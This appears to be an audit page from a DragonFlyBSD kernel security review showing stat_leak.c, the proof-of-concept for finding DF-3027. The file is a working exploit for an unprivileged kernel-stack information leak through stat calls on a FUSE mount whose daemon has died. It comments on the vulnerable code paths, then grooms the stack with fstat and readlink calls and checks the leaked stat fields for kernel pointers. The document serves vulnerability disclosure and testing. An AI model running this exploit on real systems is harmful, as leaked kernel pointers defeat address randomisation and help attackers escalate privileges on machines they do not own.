โฌข DragonFlyBSD Kernel Audit
DF-3027 / stat_leak.c
โ† back to finding โ†“ download raw
/*
 * DF-3027 โ€” unprivileged kernel-stack info leak (kernel pointers) via
 * stat-family syscalls on a FUSE mount whose daemon is dead (or whose
 * FUSE_GETATTR was latched -ENOSYS).
 *
 * fuse_vop_getattr (sys/vfs/fuse/fuse_vnops.c:312-316) returns SUCCESS
 * without writing *ap->a_vap when the mount is dead
 * (fuse_test_dead -> return 0) or FUSE_GETATTR is latched ENOSYS
 * (fuse_test_nosys -> return 0); the ENOSYS error itself is likewise
 * converted to success at :329-338 without filling the vattr.
 * The caller vn_stat (sys/kern/vfs_vnops.c:833) uses an UNINITIALIZED
 * stack `struct vattr vattr;` and copies its fields into the user's
 * struct stat on success -> raw kernel stack bytes (including kernel
 * text/heap pointers left by the previous syscall's frames) are
 * disclosed to any unprivileged user able to fstat()/stat() a file on
 * the mount.
 *
 * Two-phase flow (run.sh orchestrates):
 *   1. open() the fuse file while the daemon is ALIVE (fd held)
 *   2. daemon is killed -> fuse_mount_kill -> dead=1
 *   3. groom the kernel stack:
 *        fstat(marker_fd)  โ€” puts a valid va_type in the vn_stat slot
 *        readlink(path)    โ€” drops kernel pointers into the same slot
 *   4. fstat(fuse_fd)     โ€” SUCCESS + leaked kernel stack contents
 *
 * Modes:
 *   marker โ€” fstat(marker); fstat(fuse): the fuse file reports the
 *            MARKER's attributes verbatim (deterministic uninit-read
 *            proof, no pointers)
 *   ptrs   โ€” fstat(marker); readlink(x); fstat(fuse): leaked fields
 *            contain kernel pointers (>= 0x800000000000)
 *
 * usage: stat_leak <marker|ptrs> <fusefile> <gofile>
 */
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static const char *marker = "/tmp/df3027_marker";

static void
print_stat(const char *tag, const struct stat *st)
{
    printf("%-7s mode=%o ino=%llx uid=%u(%x) gid=%u(%x) sz=%llx\n"
           "%-7s at=%llx.%08llx mt=%llx.%08llx ct=%llx.%08llx nl=%llu\n",
           tag, st->st_mode, (unsigned long long)st->st_ino,
           (unsigned)st->st_uid, (unsigned)st->st_uid,
           (unsigned)st->st_gid, (unsigned)st->st_gid,
           (unsigned long long)st->st_size,
           "",
           (unsigned long long)st->st_atimespec.tv_sec,
           (unsigned long long)st->st_atimespec.tv_nsec,
           (unsigned long long)st->st_mtimespec.tv_sec,
           (unsigned long long)st->st_mtimespec.tv_nsec,
           (unsigned long long)st->st_ctimespec.tv_sec,
           (unsigned long long)st->st_ctimespec.tv_nsec,
           (unsigned long long)st->st_nlink);
}

static int
ptrlike_fields(const struct stat *st)
{
    int n = 0;
    if ((uint64_t)st->st_size >= 0x0000800000000000ULL) n++;
    if ((uint64_t)st->st_ino  >= 0x0000800000000000ULL) n++;
    if ((uint64_t)st->st_atimespec.tv_sec  >= 0x0000800000000000ULL) n++;
    if ((uint64_t)st->st_mtimespec.tv_sec  >= 0x0000800000000000ULL) n++;
    if ((uint64_t)st->st_ctimespec.tv_sec  >= 0x0000800000000000ULL) n++;
    if ((uint64_t)st->st_atimespec.tv_nsec >= 0x0000800000000000ULL) n++;
    if ((uint64_t)st->st_mtimespec.tv_nsec >= 0x0000800000000000ULL) n++;
    if ((uint64_t)st->st_ctimespec.tv_nsec >= 0x0000800000000000ULL) n++;
    return n;
}

int
main(int argc, char **argv)
{
    const char *mode, *fusefile, *gofile;
    struct stat mst, fst;
    char linkbuf[4096];
    int fdm, fdf, rc, i;

    if (argc != 4) {
        fprintf(stderr, "usage: %s <marker|ptrs> <fusefile> <gofile>\n",
            argv[0]);
        return 2;
    }
    mode = argv[1];
    fusefile = argv[2];
    gofile = argv[3];
    setvbuf(stdout, NULL, _IONBF, 0);

    /* marker with distinctive attrs */
    {
        int fd = open(marker, O_CREAT | O_RDWR | O_TRUNC, 0600);
        char blk[11893];
        if (fd < 0) { perror("marker create"); return 1; }
        memset(blk, 0x5a, sizeof(blk));
        if (write(fd, blk, sizeof(blk)) != (ssize_t)sizeof(blk))
            perror("marker write");
        close(fd);
    }

    fdm = open(marker, O_RDONLY);
    fdf = open(fusefile, O_RDONLY);     /* daemon still alive here */
    printf("opens: marker=%d fuse=%d\n", fdm, fdf);
    if (fdm < 0 || fdf < 0) {
        printf("OPEN_FAILED errno=%d\n", errno);
        return 1;
    }
    rc = fstat(fdf, &fst);
    printf("live fstat rc=%d\n", rc);
    print_stat("LIVE", &fst);

    /* wait for run.sh to kill the daemon */
    for (i = 0; i < 600; i++) {
        if (access(gofile, F_OK) == 0) break;
        usleep(100000);
    }
    printf("--- daemon dead; grooming ---\n");

    /* groom 1: valid vtype into the vn_stat vattr slot */
    fstat(fdm, &mst);
    print_stat("MARKER", &mst);

    /* groom 2 (ptrs mode): kernel-pointer residue from readlink frames */
    if (strcmp(mode, "ptrs") == 0) {
        if (readlink("/etc/resolv.conf", linkbuf, sizeof(linkbuf)) < 0)
            perror("readlink groom (non-fatal)");
    }

    memset(&fst, 0, sizeof(fst));
    rc = fstat(fdf, &fst);
    printf("LEAK fstat rc=%d errno=%d ptrlike=%d\n", rc, errno,
        ptrlike_fields(&fst));
    if (rc == 0)
        print_stat("LEAK", &fst);

    if (strcmp(mode, "marker") == 0 && rc == 0) {
        if (fst.st_size == mst.st_size && fst.st_ino == mst.st_ino &&
            fst.st_uid == mst.st_uid &&
            fst.st_atimespec.tv_sec == mst.st_atimespec.tv_sec) {
            printf("ECHO_OF_MARKER=YES (uninitialized stack proven)\n");
            return 0;
        }
        printf("ECHO_OF_MARKER=no\n");
        return 2;
    }
    if (strcmp(mode, "ptrs") == 0 && rc == 0) {
        if (ptrlike_fields(&fst) >= 3) {
            printf("KERNEL_POINTERS_LEAKED=YES\n");
            return 0;
        }
        printf("KERNEL_POINTERS_LEAKED=no\n");
        return 2;
    }
    return 2;
}